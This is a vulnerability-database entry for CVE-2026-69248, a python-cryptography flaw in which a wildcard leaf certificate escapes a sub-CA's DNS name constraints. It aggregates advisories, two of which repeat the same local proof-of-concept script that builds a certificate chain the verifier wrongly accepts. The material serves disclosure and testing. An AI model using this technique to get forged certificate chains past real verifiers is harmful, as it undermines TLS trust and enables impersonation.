CVE-2026-69248
mediumpriority · track · 0EPSS 0.002 · 15 %ileDEEUFRUSEPSS · scored 2026-10-27
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 45.0.0 through 48.0.0, if an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names. The core issue is in DNSConstraint::matches, where a wildcard pattern was treated as matching a more-specific permitted constraint even though *.example.com can expand to sibling names such as bar.example.com outside foo.example.com. This allows acceptance of an invalid certificate chain. This issue is fixed in 49.0.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (10)
Products and version ranges known to be affected.
advisories (5)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-3214Red Hat Enterprise Linux (python-cryptography): Mehrere SchwachstellenDeutsch2026-09-07csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux ausnutzen, um Sicherheitsvorkehrungen zu umgehen oder um einen Denial-of-Service-Zustand herbeizuführen.
- GHSA-m2h6-j472-rp4cpython-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees2026-08-03ghsa · osvUS
### Summary If an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names. ### PoC ``` #!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN. Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = *.example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, ) now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1) def build(subject, issuer, key, issuer_key, ca, exts=()): b = (x509.CertificateBuilder() .subject_name(subject).issuer_name(issuer) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now - 30 * day) .not_valid_after(now + 3650 * day) .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True)) for e, c in exts: b = b.add_extension(e, c) return b.sign(issuer_key, hashes.SHA256()) # Root rk = ec.generate_private_key(ec.SECP256R1()) rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")]) root = build(rn, rn, rk, rk, True) # Sub-CA constrained to foo.example.com sk = ec.generate_private_key(ec.SECP256R1()) sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")]) nc = x509.NameConstraints( permitted_subtrees=[x509.DNSName("foo.example.com")], excluded_subtrees=None, ) sub = build(sn, rn, sk, rk, True, [(nc, True)]) # Leaf with SAN *.example.com (over-broad relative to the constraint) lk = ec.generate_private_key(ec.SECP256R1()) ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")]) san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")]) leaf = build(ln, sn, lk, sk, False, [(san, False)]) # Policies ca_pol = ExtensionPolicy.permit_all().require_present( x509.BasicConstraints, Criticality.AGNOSTIC, None, ) ee_pol = ExtensionPolicy.permit_all().require_present( x509.SubjectAlternativeName, Criticality.AGNOSTIC, None, ) v = ( PolicyBuilder() .store(Store([root])) .time(now) .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol) .build_server_verifier(x509.DNSName("bar.example.com")) ) try: v.verify(leaf, [sub]) print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com") except VerificationError as e: print(f"EXPECTED: VerificationError: {e}") ``` ### Impact Acceptance of invalid certificate chain.
- CERTFR-2026-AVI-1366Multiples vulnérabilités dans les produits SplunkFrançais2026-10-22vendor · certfrFR
- CERTFR-2026-AVI-1385Multiples vulnérabilités dans les produits VMwareFrançais2026-10-26vendor · certfrFR
- PYSEC-2026-3554python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees2026-08-04vendor · osvUS
### Summary If an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names. ### PoC ``` #!/usr/bin/env python3 """Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN. Setup: Sub-CA permitted constraint: dNSName = foo.example.com Leaf SAN: dNSName = *.example.com Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics). Observed: pyca accepts; further, asks server-verifier whether the leaf is authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope escape. """ import datetime from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.verification import ( PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError, ) now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc) day = datetime.timedelta(days=1) def build(subject, issuer, key, issuer_key, ca, exts=()): b = (x509.CertificateBuilder() .subject_name(subject).issuer_name(issuer) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now - 30 * day) .not_valid_after(now + 3650 * day) .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True)) for e, c in exts: b = b.add_extension(e, c) return b.sign(issuer_key, hashes.SHA256()) # Root rk = ec.generate_private_key(ec.SECP256R1()) rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")]) root = build(rn, rn, rk, rk, True) # Sub-CA constrained to foo.example.com sk = ec.generate_private_key(ec.SECP256R1()) sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")]) nc = x509.NameConstraints( permitted_subtrees=[x509.DNSName("foo.example.com")], excluded_subtrees=None, ) sub = build(sn, rn, sk, rk, True, [(nc, True)]) # Leaf with SAN *.example.com (over-broad relative to the constraint) lk = ec.generate_private_key(ec.SECP256R1()) ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")]) san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")]) leaf = build(ln, sn, lk, sk, False, [(san, False)]) # Policies ca_pol = ExtensionPolicy.permit_all().require_present( x509.BasicConstraints, Criticality.AGNOSTIC, None, ) ee_pol = ExtensionPolicy.permit_all().require_present( x509.SubjectAlternativeName, Criticality.AGNOSTIC, None, ) v = ( PolicyBuilder() .store(Store([root])) .time(now) .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol) .build_server_verifier(x509.DNSName("bar.example.com")) ) try: v.verify(leaf, [sub]) print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com") except VerificationError as e: print(f"EXPECTED: VerificationError: {e}") ``` ### Impact Acceptance of invalid certificate chain.
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (9)
External citations — patches, advisories, analysis.
- https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2cnnvd
- https://github.com/pyca/cryptography/pull/14888cnnvd
- https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4ccnnvd
- https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2enisa_euvd
- https://github.com/pyca/cryptography/pull/14888enisa_euvd
- https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4cenisa_euvd
- https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2nvd
- https://github.com/pyca/cryptography/pull/14888nvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan